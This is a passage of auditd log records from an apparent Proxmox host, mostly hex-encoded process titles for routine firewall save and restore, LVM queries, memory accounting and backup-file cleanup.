{"@timestamp":1781965735804,"@rawstring":"node=pve type=PATH msg=audit(1781965735.804:66876): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965786724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965786.724:67109): proctitle=726D002D6600767A64756D702D71656D752D3837372D323032365F30365F32302D31355F31375F33312E766D612E7A7374"} {"@timestamp":1781965735803,"@rawstring":"node=pve type=PATH msg=audit(1781965735.803:66875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.768:67108): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965735803,"@rawstring":"node=pve type=PATH msg=audit(1781965735.803:66875): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.765:67107): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965735803,"@rawstring":"node=pve type=PATH msg=audit(1781965735.803:66874): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.764:67106): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735799,"@rawstring":"node=pve type=PATH msg=audit(1781965735.799:66873): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.764:67105): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735799,"@rawstring":"node=pve type=PATH msg=audit(1781965735.799:66873): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.760:67104): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965735799,"@rawstring":"node=pve type=PATH msg=audit(1781965735.799:66873): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.751:67103): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735791,"@rawstring":"node=pve type=PATH msg=audit(1781965735.791:66872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.742:67102): proctitle=\"iptables-save\""} {"@timestamp":1781965735791,"@rawstring":"node=pve type=PATH msg=audit(1781965735.791:66872): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.732:67101): proctitle=\"ip6tables-save\""} {"@timestamp":1781965735783,"@rawstring":"node=pve type=PATH msg=audit(1781965735.783:66871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.723:67100): proctitle=\"iptables-save\""} {"@timestamp":1781965735783,"@rawstring":"node=pve type=PATH msg=audit(1781965735.783:66871): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.718:67099): proctitle=\"ebtables-restore\""} {"@timestamp":1781965735777,"@rawstring":"node=pve type=PATH msg=audit(1781965735.777:66870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785714,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.714:67098): proctitle=\"ebtables-restore\""} {"@timestamp":1781965735777,"@rawstring":"node=pve type=PATH msg=audit(1781965735.777:66870): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.705:67097): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965735769,"@rawstring":"node=pve type=PATH msg=audit(1781965735.769:66869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.696:67096): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965735769,"@rawstring":"node=pve type=PATH msg=audit(1781965735.769:66869): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.687:67095): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965735762,"@rawstring":"node=pve type=PATH msg=audit(1781965735.762:66868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.676:67094): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965735762,"@rawstring":"node=pve type=PATH msg=audit(1781965735.762:66868): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.667:67093): proctitle=697073657400726573746F7265"} {"@timestamp":1781965734402,"@rawstring":"node=pve type=PATH msg=audit(1781965734.402:66867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965734402,"@rawstring":"node=pve type=PATH msg=audit(1781965734.402:66867): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.654:67092): proctitle=\"ip6tables-save\""} {"@timestamp":1781965734379,"@rawstring":"node=pve type=PATH msg=audit(1781965734.379:66866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.642:67091): proctitle=\"iptables-save\""} {"@timestamp":1781965734379,"@rawstring":"node=pve type=PATH msg=audit(1781965734.379:66866): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.635:67090): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PATH msg=audit(1781965734.114:66865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.624:67089): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PATH msg=audit(1781965734.114:66865): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.623:67088): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PATH msg=audit(1781965734.114:66864): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.623:67087): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965734114,"@rawstring":"node=pve type=PATH msg=audit(1781965734.114:66863): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.618:67086): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965734109,"@rawstring":"node=pve type=PATH msg=audit(1781965734.109:66862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.610:67085): proctitle=\"ip6tables-save\""} {"@timestamp":1781965734109,"@rawstring":"node=pve type=PATH msg=audit(1781965734.109:66862): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.601:67084): proctitle=\"iptables-save\""} {"@timestamp":1781965734108,"@rawstring":"node=pve type=PATH msg=audit(1781965734.108:66861): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.593:67083): proctitle=69707365740073617665"} {"@timestamp":1781965734108,"@rawstring":"node=pve type=PATH msg=audit(1781965734.108:66860): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.582:67082): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PATH msg=audit(1781965729.101:66859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965785565,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965785.565:67081): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PATH msg=audit(1781965729.101:66859): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.289:67080): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PATH msg=audit(1781965729.101:66858): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.289:67079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729101,"@rawstring":"node=pve type=PATH msg=audit(1781965729.101:66857): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.289:67078): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PATH msg=audit(1781965729.092:66856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.275:67077): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PATH msg=audit(1781965729.092:66856): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.275:67076): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PATH msg=audit(1781965729.092:66855): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.275:67075): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965729092,"@rawstring":"node=pve type=PATH msg=audit(1781965729.092:66854): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.136:67074): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965725749,"@rawstring":"node=pve type=PATH msg=audit(1781965725.749:66853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965784108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965784.108:67073): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965725749,"@rawstring":"node=pve type=PATH msg=audit(1781965725.749:66853): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965780.829:67072): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PATH msg=audit(1781965725.745:66852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965780.829:67071): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PATH msg=audit(1781965725.745:66852): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965780827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965780.827:67070): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PATH msg=audit(1781965725.745:66851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.263:67069): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725745,"@rawstring":"node=pve type=PATH msg=audit(1781965725.745:66851): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.263:67068): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725743,"@rawstring":"node=pve type=PATH msg=audit(1781965725.743:66850): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.263:67067): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725739,"@rawstring":"node=pve type=PATH msg=audit(1781965725.739:66849): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.254:67066): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725739,"@rawstring":"node=pve type=PATH msg=audit(1781965725.739:66849): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.254:67065): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725739,"@rawstring":"node=pve type=PATH msg=audit(1781965725.739:66849): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965779.254:67064): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965725729,"@rawstring":"node=pve type=PATH msg=audit(1781965725.729:66848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.549:67063): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965725729,"@rawstring":"node=pve type=PATH msg=audit(1781965725.729:66848): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.546:67062): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965725721,"@rawstring":"node=pve type=PATH msg=audit(1781965725.721:66847): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.545:67061): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725721,"@rawstring":"node=pve type=PATH msg=audit(1781965725.721:66847): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.544:67060): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725713,"@rawstring":"node=pve type=PATH msg=audit(1781965725.713:66846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.539:67059): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965725713,"@rawstring":"node=pve type=PATH msg=audit(1781965725.713:66846): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.532:67058): proctitle=\"ip6tables-save\""} {"@timestamp":1781965725703,"@rawstring":"node=pve type=PATH msg=audit(1781965725.703:66845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.524:67057): proctitle=\"iptables-save\""} {"@timestamp":1781965725703,"@rawstring":"node=pve type=PATH msg=audit(1781965725.703:66845): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.516:67056): proctitle=\"ip6tables-save\""} {"@timestamp":1781965725695,"@rawstring":"node=pve type=PATH msg=audit(1781965725.695:66843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.508:67055): proctitle=\"iptables-save\""} {"@timestamp":1781965725695,"@rawstring":"node=pve type=PATH msg=audit(1781965725.695:66843): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.505:67054): proctitle=\"ebtables-restore\""} {"@timestamp":1781965725687,"@rawstring":"node=pve type=PATH msg=audit(1781965725.687:66842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.502:67053): proctitle=\"ebtables-restore\""} {"@timestamp":1781965725687,"@rawstring":"node=pve type=PATH msg=audit(1781965725.687:66842): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.494:67052): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965725682,"@rawstring":"node=pve type=PATH msg=audit(1781965725.682:66841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.487:67051): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965725682,"@rawstring":"node=pve type=PATH msg=audit(1781965725.682:66841): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965775482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965775.482:67050): 